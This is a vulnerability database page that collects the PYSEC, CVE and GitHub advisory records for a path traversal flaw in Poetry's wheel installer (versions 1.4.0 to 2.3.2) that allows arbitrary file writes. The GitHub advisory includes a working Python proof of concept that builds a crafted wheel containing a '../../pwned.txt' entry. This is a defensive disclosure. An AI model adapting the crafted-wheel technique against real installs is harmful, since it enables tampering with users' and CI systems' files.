Vulnerability-Lookup

PYSEC-2026-2260

Vulnerability from pysec - Published: 2026-04-02 18:16 - Updated: 2026-07-13 05:50

Details

Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Impacted products

Name	purl
poetry	pkg:pypi/poetry

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "poetry",
        "purl": "pkg:pypi/poetry"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.4.0",
        "1.4.1",
        "1.4.2",
        "1.5.0",
        "1.5.1",
        "1.6.0",
        "1.6.1",
        "1.7.0",
        "1.7.1",
        "1.8.0",
        "1.8.1",
        "1.8.2",
        "1.8.3",
        "1.8.4",
        "1.8.5",
        "2.0.0",
        "2.0.1",
        "2.1.0",
        "2.1.1",
        "2.1.2",
        "2.1.3",
        "2.1.4",
        "2.2.0",
        "2.2.1",
        "2.3.0",
        "2.3.1",
        "2.3.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34591",
    "GHSA-2599-h6xx-hpxp"
  ],
  "details": "Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.",
  "id": "PYSEC-2026-2260",
  "modified": "2026-07-13T05:50:50.600547Z",
  "published": "2026-04-02T18:16:31.163Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/python-poetry/poetry/releases/tag/2.3.3"
    },
    {
      "type": "FIX",
      "url": "http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a"
    },
    {
      "type": "FIX",
      "url": "https://github.com/python-poetry/poetry/pull/10792"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

CVE-2026-34591 (GCVE-0-2026-34591)

Vulnerability from cvelistv5 – Published: 2026-04-02 17:35 – Updated: 2026-04-03 18:12

Title

Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write

Summary

Severity

7.1 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/python-poetry/poetry/security/…	x_refsource_CONFIRM
https://github.com/python-poetry/poetry/pull/10792	x_refsource_MISC
https://github.com/python-poetry/poetry/releases/…	x_refsource_MISC
http://github.com/python-poetry/poetry/commit/ed5…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
python-poetry	poetry	Affected: >= 1.4.0, < 2.3.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-34591",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-02T18:29:00.454565Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-03T18:12:07.813Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "poetry",
          "vendor": "python-poetry",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.4.0, \u003c 2.3.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-02T17:35:07.691Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp"
        },
        {
          "name": "https://github.com/python-poetry/poetry/pull/10792",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-poetry/poetry/pull/10792"
        },
        {
          "name": "https://github.com/python-poetry/poetry/releases/tag/2.3.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-poetry/poetry/releases/tag/2.3.3"
        },
        {
          "name": "http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a"
        }
      ],
      "source": {
        "advisory": "GHSA-2599-h6xx-hpxp",
        "discovery": "UNKNOWN"
      },
      "title": "Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-34591",
    "datePublished": "2026-04-02T17:35:07.691Z",
    "dateReserved": "2026-03-30T17:15:52.499Z",
    "dateUpdated": "2026-04-03T18:12:07.813Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-2599-H6XX-HPXP

Vulnerability from github – Published: 2026-04-01 22:17 – Updated: 2026-04-15 20:53

Summary

Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write

Details

Summary

A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.

Impact

Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.

Patches

Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.

Details

Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:

src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59

The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607

No resolve() + is_relative_to() style guard is enforced before writing.

POC

from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
    d.mkdir(parents=True, exist_ok=True)

files = {
    "evil/__init__.py": b"",
    "../../pwned.txt": b"owned\n",
    "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
    "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()

with zipfile.ZipFile(wheel, "w") as z:
    for k,v in files.items(): z.writestr(k,v)

dest = WheelDestination(
    {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
    interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
    install(src, dest, {"INSTALLER": b"PoC"})

out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "poetry"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T22:17:36Z",
    "nvd_published_at": "2026-04-02T18:16:31Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry\u2019s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n    d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n    \"evil/__init__.py\": b\"\",\n    \"../../pwned.txt\": b\"owned\\n\",\n    \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n    \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n    for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n    {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n    interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n    install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```",
  "id": "GHSA-2599-h6xx-hpxp",
  "modified": "2026-04-15T20:53:26Z",
  "published": "2026-04-01T22:17:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34591"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/pull/10792"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-poetry/poetry"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/releases/tag/2.3.3"
    },
    {
      "type": "WEB",
      "url": "http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

PYSEC-2026-2260

CVE-2026-34591 (GCVE-0-2026-34591)

GHSA-2599-H6XX-HPXP

Summary

Impact

Patches

Details

POC

Tags

Sightings

Nomenclature